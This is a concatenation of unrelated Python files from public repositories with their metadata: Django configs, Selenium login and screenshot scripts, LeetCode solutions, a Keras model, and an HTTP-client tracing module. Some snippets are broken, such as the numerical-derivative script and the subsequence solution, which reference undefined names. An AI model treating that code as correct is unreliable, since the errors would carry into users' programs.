2020-05-03T09:44:28.887089

2019-04-06T16:55:05

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UTF-8

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py

from django.urls import path from AppTwo import views urlpatterns = [ path('',views.index,name='anything'), #path('admin/', admin.site.urls), ]

[ "rohankarmakar97@gmail.com" ]

rohankarmakar97@gmail.com

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/channelshowdown/userprofile/migrations/0012_auto_20180328_1645.py

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[ "MIT" ]

permissive

channelfix/cshowdown-backend

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refs/heads/master

2022-12-10T10:22:35.987518

2018-08-29T02:50:02

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MIT

2022-12-08T00:56:24

2018-02-19T02:19:02

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UTF-8

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py

# -*- coding: utf-8 -*- # Generated by Django 1.11.10 on 2018-03-28 16:45 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('userprofile', '0011_auto_20180328_1240'), ] operations = [ migrations.AlterField( model_name='userinfo', name='user_video', field=models.FileField(blank=True, default=None, upload_to='profile_video/'), ), ]

[ "arranbaleva@gmail.com" ]

arranbaleva@gmail.com

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/manage.py

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[]

no_license

mstepniowski/wffplanner

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62d1d00ca9a546b759e5c394c7a9da06484a7aa3

refs/heads/master

2020-05-20T06:04:22.413395

2015-10-01T16:12:48

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null

UTF-8

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py

#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "wffplanner.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)

[ "marek@stepniowski.com" ]

marek@stepniowski.com

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/selenium_codes/fp_changep-4.py

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[]

no_license

aishwar18/Profile-Builder

2b30dbc2dd2808a45305c0fda5d5e7eb468b427d

01e1260fe5392046404457f90176cb5214076231

refs/heads/main

2023-06-01T23:33:30.986554

2021-06-18T12:03:45

340,952,643

0

1

null

UTF-8

Python

false

1,690

py

#forgot password change password having password mismatch from selenium import webdriver from selenium.webdriver.common.keys import Keys import time from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait PATH="C:\Program Files (x86)\chromedriver.exe" driver=webdriver.Chrome(PATH) driver.maximize_window() driver.get("http://127.0.0.1:8000/html/login") try: link=driver.find_element_by_xpath("//a[contains(@href ,'/html/forgotPassword')]") time.sleep(2) print("clicked on the forgot password page") link.click() username=driver.find_elements_by_name("username") time.sleep(2) username[0].send_keys("aditya") time.sleep(2) submit=driver.find_elements_by_xpath("//div[contains(@class ,'PR_button')]") time.sleep(2) submit[0].click() time.sleep(2) print("entered security question page") answer=driver.find_elements_by_name("answer") answer[0].send_keys("percy jackson") sub=driver.find_elements_by_xpath("//div[contains(@class ,'PR_button')]") time.sleep(2) sub[0].click() newp=driver.find_elements_by_name("newPassword") time.sleep(2) newp[0].send_keys("Qwerty11") confirmp=driver.find_elements_by_name("confirmPassword") time.sleep(2) confirmp[0].send_keys("Aditya11") sub=driver.find_elements_by_xpath("//div[contains(@class ,'PR_button')]") time.sleep(2) sub[0].click() time.sleep(4) driver.quit() except Exception as e: print("exception found",format(e)) print("failed to navigate to registration page") time.sleep(4) driver.quit()

[ "noreply@github.com" ]

aishwar18.noreply@github.com

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/pyesst/chapter5.py

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[]

no_license

modevops/python_practice

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67d2845df46e6815ac052ac935868cdd29ac681d

refs/heads/master

2022-04-18T17:00:13.013226

2020-04-10T14:08:40

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0

null

UTF-8

Python

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207

py

#!/usr/bin/env python3 # Copyright 2009-2017 BHG http://bw.org/ x = 0x0a y = 0x02 z = x & y print(f'(hex) x is {x:02x}, y is {y:02x}, z is {z:02x}') print(f'(bin) x is {x:08b}, y is {y:08b}, z is {z:08b}')

[ "modevops@Marcuss-MacBook-Pro.local" ]

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/Tugas/differensiasi numerik/selisih tengah.py

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[]

no_license

sasaputra/MetodeNumerikGanjil-21-22

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f5be7d7857d2b182e4f597ce92d66a14c247a325

refs/heads/main

2023-08-13T03:52:49.782526

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UTF-8

Python

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py

import numpy as np import math def f(x): return(np.exp(-x)*math.sin(2*x) + 1) def turunan(x0,h): step = 1 condition = true x0 = 1 h = 0.1 err = 1000 dfxold = 1000 while err>=0.00001: dfx = (f(x0+h)-f(x0-h)/2*h) err = abs(dfxold -dfx) dfxold=dfx h = h/2 print ("the center derivative at x= with specifed accuracy is") print (dfx)

[ "noreply@github.com" ]

sasaputra.noreply@github.com

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/application/species/forms.py

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[]

no_license

teemuoksanen/lintuhavainnot

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refs/heads/master

2022-10-04T15:49:16.288249

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null

0

null

UTF-8

Python

false

3,360

py

from flask_wtf import FlaskForm from wtforms import StringField, TextAreaField, SelectField, validators conservChoices = [(1, "Elinvoimainen"), (2, "Silmälläpidettävä"), (3, "Vaarantunut"), (4, "Erittäin uhanalainen"), (5, "Äärimmäisen uhanalainen")] class SpeciesCreationForm(FlaskForm): name = StringField("Lajinimi, kansakielinen:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) species = StringField("Lajinimi, tieteellinen kaksiosainen:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) sp_genus = StringField("Suku:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) sp_family = StringField("Heimo:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) sp_order = StringField("Lahko:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) conserv_status = SelectField("Uhanalaisuusluokitus:", choices=conservChoices, coerce=int) info = TextAreaField("Lajikuvaus:", render_kw={"rows": 10, "cols": 30}) class Meta: csrf = False class SpeciesEditForm(FlaskForm): name = StringField("Lajinimi, kansakielinen:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) species = StringField("Lajinimi, tieteellinen kaksiosainen:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) sp_genus = StringField("Suku:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) sp_family = StringField("Heimo:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) sp_order = StringField("Lahko:", [validators.Length(min=1, max=255, message="Kentän tulee sisältää vähintään %(min)d ja enintään %(max)d merkkiä.")]) conserv_status = SelectField("Uhanalaisuusluokitus:", choices=conservChoices, coerce=int) info = TextAreaField("Lajikuvaus:", render_kw={"rows": 10, "cols": 30}) class Meta: csrf = False class SearchSpecies(FlaskForm): fieldChoices = [("all", "Kaikki kentät"), ("name", "Lajinimi"), ("species", "Tieteellinen nimi"), ("sp_genus", "Suku"), ("sp_family", "Heimo"), ("sp_order", "Lahko"), ("info", "Lajikuvaus")] conservChoices2 = [("0", "Älä rajaa uhanalaisuuden perusteella"), ("1", "Elinvoimainen"), ("2", "Silmälläpidettävä"), ("3", "Vaarantunut"), ("4", "Erittäin uhanalainen"), ("5", "Äärimmäisen uhanalainen")] column = SelectField("Minkä kentän perusteella haetaan?", choices = fieldChoices) searchword = StringField("Hakusana (jätä tyhjäksi, jos et halua hakea hakusanan perusteella):", [validators.Length(max=255, message="Kentän tulee olla enintään %(max)d merkkiä pitkä.")]) conservStatus = SelectField("Uhanalaisuusluokitus:", choices=conservChoices2) class Meta: csrf = False

[ "sonja.t.heikkinen@hotmail.com" ]

sonja.t.heikkinen@hotmail.com

945d9d0dbf297f3e00334a032fd8cd7922a9654e

6cd87462fd9b5ee575aee281f6d2e4be5391ea92

/apps/twitter/admin.py

f4524da329c2671ab002a1df4a319053a229dfa3

[]

no_license

mo-mughrabi/djsocial

912413574fd7ce943387dbd5744f05ec8ca57f48

060c0a8e0db848879dfaeb4c6f44f1dba7a39aea

refs/heads/master

2016-09-16T10:46:05.853935

2014-03-13T19:14:41

16,213,862

0

1

null

UTF-8

Python

false

644

py

# -*- coding: utf-8 -*- from django.contrib import admin from models import Twitter, ScheduleOrder, Order class TwitterAdmin(admin.ModelAdmin): list_display = ('user', 'tid', 'screen_name','followers_sum', 'following_sum') # Now register the new TwitterAdmin... admin.site.register(Twitter, TwitterAdmin) class ScheduleOrderAdmin(admin.ModelAdmin): list_display = ('user', 'label', 'status','created_at', 'last_run') admin.site.register(ScheduleOrder, ScheduleOrderAdmin) class OrderAdmin(admin.ModelAdmin): list_display = ('user', 'schedule_order', 'status','created_at', 'executed_at') admin.site.register(Order, OrderAdmin)

[ "=" ]

=

1a0e819271efbd2f4c12221045d0550048b59bcb

abee40ec5a102a045ac90c8f539868f328d3bc95

/3-chapter/maitreD'.py

9f602684cc9512b408afa533ae09edb41c6c7fd0

[]

no_license

annabalan/pythonFAB

4ac3ef3d90c98bf939593fd4b0d4dc8fea6d07a0

659646c0be2e5a97242cdb1b59942699095177e4

refs/heads/master

2021-01-21T16:04:19.025196

2018-06-05T05:35:47

95,396,861

0

null

UTF-8

Python

false

401

py

# Maitre D' # Demonstrates interpeting any value as a condition (True or False) print("Welcome to the Chateau D' Food") print("It seems we are quite full this evening.\n") money = int(input("How many dollars do you slip the Maitre D'? ")) if money: print("Ah, I am reminded of a table, Right this way.") else: print("Please, sit. It may be a while.") input("\n\nPress the enter key to exit.")

[ "colnyshkasmile@gmail.com" ]

colnyshkasmile@gmail.com

4a2d4fecf255307e71b25519413f146f1bdacfd9

56b36ddf920b5f43e922cb84e8f420f1ad91a889

/Leetcode/Leetcode - Premium/Mock Interview/isSubsequence.py

053496e29b0e65f9a467defbd48dcafc83eb967e

[]

no_license

chithien0909/Competitive-Programming

9ede2072e85d696ccf143118b17638bef9fdc07c

1262024a99b34547a3556c54427b86b243594e3c

refs/heads/master

2022-07-23T16:47:16.566430

2020-05-12T08:44:30

null

0

null

UTF-8

Python

false

1,279

py

""" Given a string s and a string t, check if s is subsequence of t. You may assume that there is only lower case English letters in both s and t. t is potentially a very long (length ~= 500,000) string, and s is a short string (<=100). A subsequence of a string is a new string which is formed from the original string by deleting some (can be none) of the characters without disturbing the relative positions of the remaining characters. (ie, "ace" is a subsequence of "abcde" while "aec" is not). Example 1: s = "abc", t = "ahbgdc" Return true. Example 2: s = "axc", t = "ahbgdc" Return false. Follow up: If there are lots of incoming S, say S1, S2, ... , Sk where k >= 1B, and you want to check one by one to see if T has its subsequence. In this scenario, how would you change your code? Credits: Special thanks to @pbrother for adding this problem and creating all test cases. """ class Solution: def isSubsequence(self, s: str, t: str) -> bool: if len(s) == 0: return True curS, curT= 0, 0 while curT <= len(t) - 1: if s[curS] == t[curT]: curS+=1 if curS == len(s): return True curT+=1 return curS == l s = Solution() print(s.isSubsequence("abc","ahbgdc"))

[ "ntle1@pipeline.sbcc.edu" ]

ntle1@pipeline.sbcc.edu

62b02423e22f441caad82e24c1757d28909767d9

73dd4cd6e08c09242e5a486dce03ef37a1160e83

/create_general_model5.py

bd4f7500a188c675303ae43b1f0875fb7006b9a6

[]

no_license

zhangfeiyang/mm-trigger2

8d429344bbfdf01bd278eb426117b55650c2ec5e

2b99cc03a61c828a0f0ed7c6298e4074af5462e0

refs/heads/master

2020-06-02T13:56:38.789337

2019-06-11T14:09:41

191,178,295

0

null

UTF-8

Python

false

1,068

py

#!/usr/bin/python3 import tensorflow as tf from tensorflow import keras # Helper libraries import numpy as np #import matplotlib.pyplot as plt from tensorflow.keras.models import Model from tensorflow.keras.layers import Dense, Input, Concatenate, Lambda from tensorflow.keras import optimizers from tensorflow.python.framework import ops from tensorflow.keras.layers import Activation from tensorflow.keras import backend as K from tensorflow.keras import backend as K def custom_activation(x): #return K.sigmoid(x) return K.exp(x) def create_model(): model = keras.Sequential([ keras.layers.Flatten(input_shape=(325, )), keras.layers.Dense(100, activation=tf.nn.relu), keras.layers.Dense(100, activation=custom_activation), keras.layers.Dense(50, activation=tf.nn.softsign), keras.layers.Dense(10, activation=tf.nn.relu), keras.layers.Dense(2, activation=tf.nn.softmax) ]) return model if __name__ == "__main__": model = create_model() model.summary()

[ "1173205582@qq.com" ]

1173205582@qq.com

b28d0abd6a484e23c277ddb74ecf8140c4ca1fe5

1bdf38834c22b0100595cb22f2862fd1ba0bc1e7

/code308RangeSumQuery2DMutable.py

f914f056042314c3f89d84a5b8ddf3bfe388b092

[]

no_license

cybelewang/leetcode-python

48d91c728856ff577f1ccba5a5340485414d6c6e

635af6e22aa8eef8e7920a585d43a45a891a8157

refs/heads/master

2023-01-04T11:28:19.757123

2020-10-29T05:55:35

null

0

null

UTF-8

Python

false

3,454

py

""" 308. Range Sum Query 2D - Mutable Given a 2D matrix matrix, find the sum of the elements inside the rectangle defined by its upper left corner (row1, col1) and lower right corner (row2, col2). The above rectangle (with the red border) is defined by (row1, col1) = (2, 1) and (row2, col2) = (4, 3), which contains sum = 8. Example: Given matrix = [ [3, 0, 1, 4, 2], [5, 6, 3, 2, 1], [1, 2, 0, 1, 5], [4, 1, 0, 1, 7], [1, 0, 3, 0, 5] ] sumRegion(2, 1, 4, 3) -> 8 update(3, 2, 2) sumRegion(2, 1, 4, 3) -> 10 Note: The matrix is only modifiable by the update function. You may assume the number of calls to update and sumRegion function is distributed evenly. You may assume that row1 ≤ row2 and col1 ≤ col2. """ """ Similar problem: 304 Range Sum Query 2D - Immutable Use Binary Index Tree (BIT) to quickly get the sum of the rectangle area from (0, 0) to (row, col), inclusive """ import unittest class NumMatrix: def __init__(self, matrix): self.M = len(matrix) self.N = len(matrix[0]) if self.M > 0 else 0 self.mat = [[0]*self.N for _ in range(self.M)] # (M)*(N) matrix that stores current value (update method may change value) self.bit = [[0]*(self.N+1) for _ in range(self.M+1)] # (M+1)*(N+1) matrix that represents a 2-D BIT # use update method to create the 2-D BIT for i in range(self.M): for j in range(self.N): self.update(i, j, matrix[i][j]) def update(self, row: int, col: int, val: int) -> None: if -1 < row < self.M and -1 < col < self.N: diff = val - self.mat[row][col] self.mat[row][col] = val i = row + 1 # mat has 0-based index and BIT has 1-based index. Pitfall: don't initialize j to (col + 1) here while i < self.M + 1: j = col + 1 while j < self.N + 1: self.bit[i][j] += diff j += j & (-j) i += i & (-i) def getSum(self, row: int, col: int) -> int: """ sum of the rectangle area from (0, 0) to (row, col), exclusive row & col """ res = 0 if -1 < row - 1 < self.M and -1 < col - 1 < self.N: i = row while i > 0: j = col while j > 0: res += self.bit[i][j] j -= j & (-j) i -= i & (-i) return res def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int: return self.getSum(row2+1, col2+1)\ - self.getSum(row2+1, col1)\ - self.getSum(row1, col2+1)\ + self.getSum(row1, col1) # Your NumMatrix object will be instantiated and called as such: # obj = NumMatrix(matrix) # obj.update(row,col,val) # param_2 = obj.sumRegion(row1,col1,row2,col2) class Test(unittest.TestCase): def test_1(self): matrix = [[3, 0, 1, 4, 2],\ [5, 6, 3, 2, 1],\ [1, 2, 0, 1, 5],\ [4, 1, 0, 1, 7],\ [1, 0, 3, 0, 5]] #matrix = [[3, 0], [5, 6]] m = NumMatrix(matrix) self.assertEqual(14, m.getSum(2, 2)) self.assertEqual(8, m.sumRegion(2, 1, 4, 3)) m.update(3, 2, 2) self.assertEqual(10, m.sumRegion(2, 1, 4, 3)) if __name__ == "__main__": unittest.main(exit = False)

[ "guoligit@gmail.com" ]

guoligit@gmail.com

cf7b634e86403bc6e74ea6701c60c1c423198ef8

c29d81a381a70be0fbaf10e94bdf6f57f7a1ba21

/lab3.py

1a421553cb7bae7eb6cacd819f7ac2d85a39e50c

[]

no_license

veefore/avip

2b27ccca8ad4923318b7d9ad1f58e756306f33cf

94c3ff30c2589829b4854442f40bedeba8ce32fc

refs/heads/master

2021-01-13T23:53:27.597427

2020-06-06T03:32:21

242,532,873

0

1

null

UTF-8

Python

false

3,399

py

from PIL import Image import numpy as np from utils import print_timing from lab1 import greyscale def aperture_to_array(pixels, x, y, a): # (x, y) represents the top left corner of the window, where (0, 0) is at the top left of the image # a - the side of the window arr = np.zeros((a, a)) for shift_x in range(a): for shift_y in range(a): arr[shift_x][shift_y] = int(pixels[x + shift_x, y + shift_y]) return arr @print_timing def calculate_gradients(image): Gx_mask = np.array([[-1, -1, -1, -1, -1], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [1, 1, 1, 1, 1]]) Gy_mask = np.rot90(Gx_mask, 1) size0 = image.size[0] - 4 size1 = image.size[1] - 4 Gx = np.empty((size0, size1), dtype=int) Gy = np.empty((size0, size1), dtype=int) G = np.empty((size0, size1), dtype=int) pixels = image.load() for h in range(size0): for w in range(size1): arr = aperture_to_array(pixels, h, w, 5) Gx[h][w] = np.sum(np.multiply(Gx_mask, arr)) Gy[h][w] = np.sum(np.multiply(Gy_mask, arr)) G[h][w] = abs(Gx[h][w]) + abs(Gy[h][w]) return (Gx, Gy, G) def binarize(G, size, threshold): image = Image.new('1', size) pixels = image.load() for h in range(size[0] - 4): for w in range(size[1] - 4): if G[h][w] > threshold: pixels[h, w] = 1 else: pixels[h, w] = 0 return image def normalize(array): min_ = 255 * 5 max_ = -255 * 5 for i in range(array.shape[0]): for j in range(array.shape[1]): max_ = max(max_, array[i][j]) min_ = min(min_, array[i][j]) max_ = abs(max_ - min_) for i in range(array.shape[0]): for j in range(array.shape[1]): array[i][j] = (array[i][j] - min_) * 255 / max_ return array def array_to_image(array): print(array) image = Image.new('L', array.shape) pixels = image.load() for h in range(array.shape[0]): for w in range(array.shape[1]): pixels[h, w] = int(array[h][w]) return image def grads_to_images(grads): images = [] for i in range(3): images.append(array_to_image(normalize(grads[i]))) return images @print_timing def outline(image, image_name, threshold, folder_path=None): grads = calculate_gradients(image) grad_images = grads_to_images(grads) if folder_path is not None: grad_images[0].save(folder_path + "Gx_" + image_name) grad_images[1].save(folder_path + "Gy_" + image_name) grad_images[2].save(folder_path + "G_" + image_name) return binarize(grads[2], image.size, threshold) def process_image(image_name, threshold, folder_path=None, save=False): img = Image.open(folder_path + image_name) greyscale_img = greyscale(img) if save: greyscale_img.save(folder_path + "greyscale_" + image_name) outline(greyscale_img, image_name, threshold, folder_path).save(folder_path + "outlined_" + image_name) def run_test(): folder_path = "Data/lab3/" process_image("img1.bmp", 63, folder_path) process_image("img2.bmp", 115, folder_path) process_image("img3.bmp", 75, folder_path) process_image("img4.bmp", 65, folder_path) #run_test()

[ "veefore.vs@gmail.com" ]

veefore.vs@gmail.com

49a3f9e0115ecea2e26d292e39f1d033e9789868

9db35c7fee8844d1cc2cdc27898cbdb2bd643fb5

/main.py

b2e3504df196ddeb9ef36cf595c2dd946ac2ed23

[]

no_license

UNILORN/SeleniumSample

1bffca3055f08654872202d131d20bc7d311dac8

fbb8583d06b053b932c6fe200bbf78ee0a8729f4

refs/heads/master

2020-06-02T19:54:33.757503

2019-06-11T03:47:36

191,289,454

0

null

UTF-8

Python

false

784

py

from selenium import webdriver import os from os.path import abspath,dirname from random import randrange from time import sleep if os.name == 'posix': path = abspath(dirname(__file__)+'./mac/chromedriver') else: path = abspath(dirname(__file__)+'\win\chromedriver.exe') browser = webdriver.Chrome(executable_path=path) browser.get('https://www1.shalom-house.jp/komon/') browser.implicitly_wait(3) el = browser.find_element_by_id('txtID') el.send_keys('testtest') el = browser.find_element_by_id('txtPsw') el.send_keys('') # el = browser.find_element_by_id('btnLogin') # el.click() # el = browser.find_element_by_id('ctl00_ContentPlaceHolder1_imgBtnSyuugyou') # el.click() # el = browser.find_element_by_id('ctl00_ContentPlaceHolder1_ibtnIn3') # el.click() # browser.close()

[ "yusuke.aoki@optim.co.jp" ]

yusuke.aoki@optim.co.jp

34443723d6fcf2aed884d9aa89f7d0734540bf52

05a95cde87ae2d1f33b0886b36625684fcdb635e

/epsagon/events/tornado_client.py

f036e51142ed80e8285b9ffe24bad4b5b93576a9

[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]

permissive

epsagon/epsagon-python

eba6feae2ee04d1ee66e08b0b6eedf9473ba9058

91e28fe43bc4f42152fb156145088cb8c9f69b85

refs/heads/master

2023-05-24T05:38:40.625407

2022-11-10T12:34:50

150,960,938

57

25

MIT

2023-05-12T22:38:08

2018-09-30T11:21:41

Python

UTF-8

Python

false

4,790

py

""" Tornado AsyncHTTPClient events module. """ from __future__ import absolute_import import functools try: from urllib.parse import urlparse, urlunparse except ImportError: from urlparse import urlparse, urlunparse import traceback from uuid import uuid4 from epsagon.utils import add_data_if_needed from ..trace import trace_factory from ..event import BaseEvent from ..http_filters import ( is_blacklisted_url, is_payload_collection_blacklisted ) from ..utils import update_http_headers, normalize_http_url from ..constants import HTTP_ERR_CODE, EPSAGON_HEADER_TITLE class TornadoAsyncHTTPClientEvent(BaseEvent): """ Represents base request event. """ ORIGIN = 'tornado_client' RESOURCE_TYPE = 'http' # pylint: disable=W0613 def __init__(self, wrapped, instance, args, kwargs, start_time, response, exception): """ Initialize. :param wrapped: wrapt's wrapped :param instance: wrapt's instance :param args: wrapt's args :param kwargs: wrapt's kwargs :param start_time: Start timestamp (epoch) :param response: response data :param exception: Exception (if happened) """ super(TornadoAsyncHTTPClientEvent, self).__init__(start_time) self.event_id = 'tornado-client-{}'.format(str(uuid4())) request = args[0] headers = dict(request.headers) if headers: # Make sure trace ID is present in case headers will be removed. epsagon_trace_id = headers.get(EPSAGON_HEADER_TITLE) if epsagon_trace_id: self.resource['metadata']['http_trace_id'] = epsagon_trace_id parsed_url = urlparse(request.url) host_url = parsed_url.netloc.split(':')[0] full_url = urlunparse(( parsed_url.scheme, host_url, parsed_url.path, parsed_url.params, parsed_url.query, parsed_url.fragment, )) self.resource['name'] = normalize_http_url(request.url) self.resource['operation'] = request.method self.resource['metadata']['url'] = request.url if not is_payload_collection_blacklisted(full_url): add_data_if_needed( self.resource['metadata'], 'request_headers', headers ) body = request.body if isinstance(body, bytes): body = body.decode('utf-8') if body: add_data_if_needed( self.resource['metadata'], 'request_body', body ) if response is not None: callback = functools.partial(self.update_response) response.add_done_callback(callback) if exception is not None: self.set_exception(exception, traceback.format_exc()) def update_response(self, future): """ Adds response data to event. :param future: Future response object :return: None """ response = future.result() self.resource['metadata']['status_code'] = response.code self.resource = update_http_headers( self.resource, dict(response.headers) ) full_url = self.resource['metadata']['url'] if not is_payload_collection_blacklisted(full_url): add_data_if_needed( self.resource['metadata'], 'response_headers', dict(response.headers) ) body = response.body if isinstance(body, bytes): try: body = body.decode('utf-8') except UnicodeDecodeError: body = str(body) if body: add_data_if_needed( self.resource['metadata'], 'response_body', body ) # Detect errors based on status code if response.code >= HTTP_ERR_CODE: self.set_error() class TornadoClientEventFactory(object): """ Factory class, generates AsyncHTTPClient event. """ @staticmethod def create_event(wrapped, instance, args, kwargs, start_time, response, exception): """ Create an AsyncHTTPClient event. """ # Detect if URL is blacklisted, and ignore. if is_blacklisted_url(args[0].url): return event = TornadoAsyncHTTPClientEvent( wrapped, instance, args, kwargs, start_time, response, exception ) trace_factory.add_event(event)

[ "noreply@github.com" ]

epsagon.noreply@github.com

1692a2ec3f66ebf1aa86968ae915f2a2e635e5cd

9a7526401349d6004a0ffb94163e75b368e064a1

/CoffeeCartServer/testMain.py

539dd8faf0cfc1ca531070bda379bd3ed131f2aa

[]

no_license

jassimran/Coffee-Cart-App

2ab70d3e4645be4f595b0ff923aab5f90a818616

0b187fa82c0cfbfa0384100d0ca2e0dd338e95c0

refs/heads/master

2020-03-14T02:26:37.356816

2018-04-28T10:27:57

131,398,922

0

null

UTF-8

Python

false

990

py

#!/usr/bin/python import optparse import sys import unittest USAGE = """%prog SDK_PATH TEST_PATH Run unit tests for App Engine apps. SDK_PATH Path to the SDK installation TEST_PATH Path to package containing test modules""" def main(sdk_path, test_path): sys.path.insert(0, sdk_path) import dev_appserver dev_appserver.fix_sys_path() suite = unittest.loader.TestLoader().discover(test_path, pattern='*TestCases.py') unittest.TextTestRunner(stream=sys.stdout, verbosity=2).run(suite) if __name__ == '__main__': parser = optparse.OptionParser(USAGE) options, args = parser.parse_args() if len(args) == 0: #parser.print_help() SDK_PATH = "/usr/local/google_appengine" TEST_PATH = "./UnitTest" print ('Using default paths\n sdk:%s\n test:%s' % (SDK_PATH, TEST_PATH)) else: SDK_PATH = args[0] TEST_PATH = args[1] main(SDK_PATH, TEST_PATH)

[ "just.simmi@gmail.com" ]

just.simmi@gmail.com

4125a3a6906417841daee6699df1daa262068870

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p03069/s036551857.py

273e2d32d2871800eb6b588af947e2fe9c71f0b3

[]

no_license

Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

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refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

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import sys,math,collections,itertools input = sys.stdin.readline N = int(input()) s = input().rstrip() cntb =0 cntw = s.count('.') ans =cntw for i in range(len(s)): if s[i] == '#': cntb +=1 else: cntw -=1 ans = min(ans,cntb+cntw) print(ans)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

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/test/test_transaction_summary.py

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[]

no_license

dmlerner/ynab-api

b883a086e6ce7c5d2bdb5b17f3f0a40dbb380046

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""" YNAB API Endpoints Our API uses a REST based design, leverages the JSON data format, and relies upon HTTPS for transport. We respond with meaningful HTTP response codes and if an error occurs, we include error details in the response body. API Documentation is at https://api.youneedabudget.com # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ import sys import unittest import ynab_api from ynab_api.model.transaction_summary import TransactionSummary class TestTransactionSummary(unittest.TestCase): """TransactionSummary unit test stubs""" def setUp(self): pass def tearDown(self): pass def testTransactionSummary(self): """Test TransactionSummary""" # FIXME: construct object with mandatory attributes with example values # model = TransactionSummary() # noqa: E501 pass if __name__ == '__main__': unittest.main()

[ "dmlerner@gmail.com" ]

dmlerner@gmail.com

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/scripts/sample.py

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[]

no_license

6br/panacea

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2022-12-05T09:53:10.848942

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import os import sys import time import datetime from concurrent.futures import ThreadPoolExecutor from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.chrome.options import Options condition = { "image/fig3a.png": "http://user:pass@0.0.0.0:8080/?preset=Fig4a", "image/fig3b.png": "http://user:pass@0.0.0.0:8080/?preset=Fig4b", "image/fig3c.png": "http://user:pass@0.0.0.0:8080/?preset=Fig4c", "image/fig2.png": "http://user:pass@0.0.0.0:8080/?preset=Default" } timelapse = { "image/fig1_4/": "http://user:pass@0.0.0.0:8080/?preset=Fig1", "image/fig5/": "http://user:pass@0.0.0.0:8080/?preset=Fig5", "image/fig6/": "http://user:pass@0.0.0.0:8080/?preset=Fig6" } DIR=os.path.join(os.path.dirname(os.path.abspath(__file__)), datetime.datetime.now().strftime('%Y%m%d-%H%M%S')) if not os.path.exists(DIR): os.mkdir(DIR) if not os.path.exists(DIR + "/image"): os.mkdir(DIR+"/image") def save_png(driver, file, url, isMultiple): # set driver and url # https://qiita.com/hujuu/items/ef89c34fca955cc571ec driver.get(url) #time.sleep(5) # get width and height of the page w = driver.execute_script("return document.body.scrollWidth;") h = driver.execute_script("return document.body.scrollHeight;") # set window size driver.set_window_size(w,h) time.sleep(2) element = WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.CLASS_NAME, 'contentsLoaded'))) # Get Screen Shot # File Name if isMultiple: if not os.path.exists(os.path.join(DIR, file)): os.mkdir(os.path.join(DIR, file)) for i in range(0, 40): FILENAME = os.path.join(DIR, file + str(i) + ".png") driver.save_screenshot(FILENAME) time.sleep(0.75) else: time.sleep(12) FILENAME = os.path.join(DIR, file) driver.save_screenshot(FILENAME) def driverfunc(k, v, arg): options = Options() #options.add_argument('--headless') driver = webdriver.Chrome(options=options, executable_path='/usr/local/bin/chromedriver') driver.maximize_window() #driver.set_window_size(1920, 1280) # Full hd driver.set_page_load_timeout(20) save_png(driver, k, v, arg) driver.quit() executor = ThreadPoolExecutor(max_workers=2) for (k, v) in condition.items(): #save_png(driver, k, v, False) driverfunc(k, v, False) #executor.submit(driverfunc, k, v, False) for (k, v) in timelapse.items(): #save_png(driver, k, v, True) driverfunc(k, v, True) #executor.submit(driverfunc, k, v, True) # Close Web Browser #driver.quit() # 並列実行するexecutorを用意する。 # max_workers が最大の並列実行数 #for t in testcase: # executor.submit(driverfunc,t)

[ "tfdvrt@gmail.com" ]

tfdvrt@gmail.com

8b9a1d2c684d7a07e09c72b4df3f6954ff8d244a

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/fbml/element.py

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[]

no_license

kalhauge/fbml-old

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refs/heads/master

2020-05-18T10:12:26.073990

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""" .. currentmodule:: fbml.element .. moduleauthor:: Christian Gram Kalhauge """ import pprint from collections import namedtuple, deque import logging log = logging.getLogger(__name__) from fbml.util import Immutable, namedtuple_from_dict from operator import attrgetter From = namedtuple('From', ['function', 'slot']) class Element(Immutable): pass class Sink (Element): def __init__ (self, target, data): Immutable.__init__(**locals()) @classmethod def new(cls, target, data={}): return cls(target, namedtuple_from_dict("SinkData", data)) @property def owner(self): return self.target.function @property def slot(self): return self.target.slot def depth(self, helper): if not self in helper: helper[self] = self.owner.depth(helper) + 1 return helper[self] def __str__(self): return 'Sink : {self.data.id!r} at \n{self.owner!s}'.format(**locals()) def update_data(self, function, data={}): new_data = dict(vars(self.data)) new_data.update(data) return self.new(From(function,self.slot),new_data) class Internal(Sink): pass class Source(Sink): def __init__(self, slot, data): Immutable.__init__(**locals()) @classmethod def new(cls, slot, data={}): return cls( slot = slot, data = namedtuple_from_dict("SourceData", data) ) @property def owner(self): return None @property def slot(self): return self.__dict__['slot'] def depth(self, helper): return 0 def __str__(self): return 'Source : {self.data.id!r} at {self.slot!r}'.format(**locals()) def update_data(self, data={}): new_data = dict(vars(self.data)) new_data.update(data) return self.new(self.slot,new_data) class 